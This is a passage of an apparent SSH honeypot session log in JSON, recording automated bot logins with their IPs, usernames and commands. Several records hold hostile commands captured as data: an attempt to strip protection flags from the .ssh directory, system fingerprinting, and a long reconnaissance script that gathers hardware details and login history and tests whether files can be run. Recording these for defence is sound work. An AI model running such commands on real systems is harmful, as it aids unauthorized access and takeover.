  "ended_at": "2026-08-27T11:15:09.837528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d94c1d2f-be8c-4f47-b742-a01e8a5b1d83",
  "name": "tranquil-diligent-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 49926,
  "username": "anza",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:15:07.423365+00:00",
  "ended_at": "2026-08-27T11:15:07.524829+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "491b5841-146e-4d69-a99b-feb0a4517521",
  "name": "jagged-regal-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58932,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:06.733363+00:00",
  "ended_at": "2026-08-27T11:15:08.066828+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a",
  "name": "orderly-lanky-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43652,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:14:14.600211+00:00",
  "ended_at": "2026-08-27T11:14:15.820123+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "2e967db4-e8dc-48f0-bae9-84ed39ef9def",
  "name": "painted-wry-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55470,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:13:56.109836+00:00",
  "ended_at": "2026-08-27T11:13:57.448176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2130
 },
 {
  "id": "71187617-596f-462f-ad8a-a8a91f19bb40",
  "name": "lanky-painted-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 39992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:50.818086+00:00",
  "ended_at": "2026-08-27T11:13:53.119868+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9eaf521b-3072-4faa-b7ad-10b75ad65a03",
  "name": "slender-cosmic-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 39978,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:48.125766+00:00",
  "ended_at": "2026-08-27T11:13:49.133198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8cd99b8-4e60-4c97-93d9-7ba6fc23591e",
  "name": "amiable-mighty-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55478,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:31.801493+00:00",
  "ended_at": "2026-08-27T11:13:33.100007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40624ef4-e5b4-43b6-b123-e4745fada5db",
  "name": "ashen-hearty-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55476,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:29.871005+00:00",
  "ended_at": "2026-08-27T11:13:31.280131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ce1b0fb-5f53-4d10-8e3e-dbd643796021",
  "name": "spirited-dewy-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58878,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:12:44.677709+00:00",
  "ended_at": "2026-08-27T11:12:45.956673+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "bc08c389-0b0b-4a0c-ba5c-267a974b59cd",
  "name": "marine-solemn-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58902,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:12:27.626020+00:00",
  "ended_at": "2026-08-27T11:12:28.533211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d85fb550-7b1e-4e9b-b4ef-3f6ed16f042a",
  "name": "cobalt-weathered-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 51712,
  "username": "firedancer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:12:26.190878+00:00",
  "ended_at": "2026-08-27T11:12:26.295260+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "2b89572d-4aea-4e52-8c77-e80185334624",
  "name": "watchful-glassy-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58886,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:12:25.803240+00:00",
  "ended_at": "2026-08-27T11:12:26.706170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a04af3ce-123f-4997-8f7b-0701550677b7",
  "name": "coastal-wry-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45448,
  "username": "zy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:11:54.590641+00:00",
  "ended_at": "2026-08-27T11:11:55.801473+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2108
 },
 {
  "id": "ef8261a0-b9f1-40a8-8aaa-a71dcf763e54",
  "name": "sleepy-bold-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 57204,
  "username": "zy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:39.214323+00:00",
  "ended_at": "2026-08-27T11:11:40.340220+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18777761-7656-4084-9775-dd204fb71311",
  "name": "tender-snowy-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 57190,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:37.011060+00:00",
  "ended_at": "2026-08-27T11:11:38.679862+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4",
  "name": "serene-woven-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:11:27.267098+00:00",
  "ended_at": "2026-08-27T11:11:28.802420+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "94ef0a1b-07e9-4edd-8e50-d9ec97a45efa",
  "name": "subtle-vivid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:05.667133+00:00",
  "ended_at": "2026-08-27T11:11:06.746650+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3de86b6e-799c-431b-862f-6981ba0a3488",
  "name": "coastal-cosmic-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:03.311775+00:00",
  "ended_at": "2026-08-27T11:11:04.212056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a220ef4d-9bf8-4bf3-b410-3e6e2c56c42c",
  "name": "boreal-vaulted-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58856,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:09:59.421924+00:00",
  "ended_at": "2026-08-27T11:10:00.922018+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2111
 },
 {
  "id": "d1b1c94f-b001-4553-89af-c3e4fe3bb98a",
  "name": "brazen-bashful-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 46148,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:09:53.807461+00:00",
  "ended_at": "2026-08-27T11:09:56.028502+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2099
 },
 {
  "id": "3049f9f2-080e-4a8e-99e9-f87d4d3d6eae",
  "name": "rapid-dutiful-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 48156,
  "username": "raydium",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:09:47.576381+00:00",
  "ended_at": "2026-08-27T11:09:47.683089+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "90a847f6-c42a-4273-92ea-09fe51147778",
  "name": "indigo-pristine-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53807,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:42.726541+00:00",
  "ended_at": "2026-08-27T11:10:08.240476+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23f71583-fd3f-4c90-a350-957b59147c58",
  "name": "mottled-lunar-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58876,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:42.405619+00:00",
  "ended_at": "2026-08-27T11:09:43.785649+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18b65804-67ac-4e5c-8381-e8db53e5c4bf",
  "name": "weathered-kindly-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46170,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:40.667808+00:00",
  "ended_at": "2026-08-27T11:09:41.424588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1428ffa5-1f11-442a-b38e-9640352024fe",
  "name": "leafy-breezy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58868,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:39.930450+00:00",
  "ended_at": "2026-08-27T11:09:41.500006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e90a8fd4-784a-4d91-8f32-5ebd348d476d",
  "name": "stormy-golden-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46156,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:38.865777+00:00",
  "ended_at": "2026-08-27T11:09:40.113277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "952a6526-a6a7-456f-9045-e3ed0686f432",
  "name": "sterling-blithe-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 48948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:08:37.479205+00:00",
  "ended_at": "2026-08-27T11:08:38.769725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "61cc2cb0-cd3f-4d54-8b2d-6b20b234ad6c",
  "name": "hearty-brazen-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:08:15.104135+00:00",
  "ended_at": "2026-08-27T11:08:16.405636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5260d862-5eab-4ae1-842e-ad0db2c60f40",
  "name": "jagged-craggy-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48956,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:08:12.721238+00:00",
  "ended_at": "2026-08-27T11:08:13.593115+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8acf46f-d88e-4167-b602-de532992d0f5",
  "name": "fearless-indigo-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 52358,
  "username": "u2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:08:02.641859+00:00",
  "ended_at": "2026-08-27T11:08:04.185810+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2084
 },
 {
  "id": "eaf28fb9-ba39-4036-a315-5f37ba0d0d4e",
  "name": "amiable-marine-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 52424,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:07:54.385947+00:00",
  "ended_at": "2026-08-27T11:08:12.497766+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17d397aa-7db2-4e42-ba16-97d9d803b67a",
  "name": "blazing-freckled-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44514,
  "username": "u2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:07:46.801864+00:00",
  "ended_at": "2026-08-27T11:07:48.452155+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cadbc74-0c2a-470d-a258-71307fcd6798",
  "name": "amiable-umber-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 52364,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:07:44.837612+00:00",
  "ended_at": "2026-08-27T11:07:46.282533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bd93430-fa3f-493c-8f5e-ffa7719fcc05",
  "name": "sunlit-orderly-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58830,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:07:12.995333+00:00",
  "ended_at": "2026-08-27T11:07:13.977959+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "9f3c6b5b-0254-4ce7-aabc-f46a65e6ea03",
  "name": "muted-northern-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 41252,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:07:12.541044+00:00",
  "ended_at": "2026-08-27T11:07:12.640968+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "ca3df42c-69c6-4a20-b9b8-9c9549da6a29",
  "name": "silent-oaken-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:55.182310+00:00",
  "ended_at": "2026-08-27T11:06:56.522048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeae9e55-3f75-4947-9557-c76ebc0ecced",
  "name": "prickly-orderly-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58832,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:52.766371+00:00",
  "ended_at": "2026-08-27T11:06:54.258699+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d3527d7-e1e8-4a2d-969f-6a2057f8a973",
  "name": "jovial-seaward-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49912,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:33.154512+00:00",
  "ended_at": "2026-08-27T11:06:55.604518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a2b8542-1f42-4ca1-8cf9-960379fe54f9",
  "name": "candid-lucid-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 54274,
  "username": "omni",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:06:08.039876+00:00",
  "ended_at": "2026-08-27T11:06:09.411603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "80506c7e-4555-48a1-a38e-7501427931a4",
  "name": "vivid-coral-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54282,
  "username": "omni",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:05:53.013789+00:00",
  "ended_at": "2026-08-27T11:05:54.276353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1bc0c13-75b2-479a-afd3-e5dddaba2336",
  "name": "sunlit-wry-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54278,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:05:50.524902+00:00",
  "ended_at": "2026-08-27T11:05:52.486386+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59a70d35-8b94-4192-be80-396906e8dad5",
  "name": "boreal-icy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 59288,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T11:05:10.222730+00:00",
  "ended_at": "2026-08-27T11:05:10.327372+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7a0eb54b-c1c2-49d0-8e8d-06aa8bc25c9d",
  "name": "zealous-misty-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
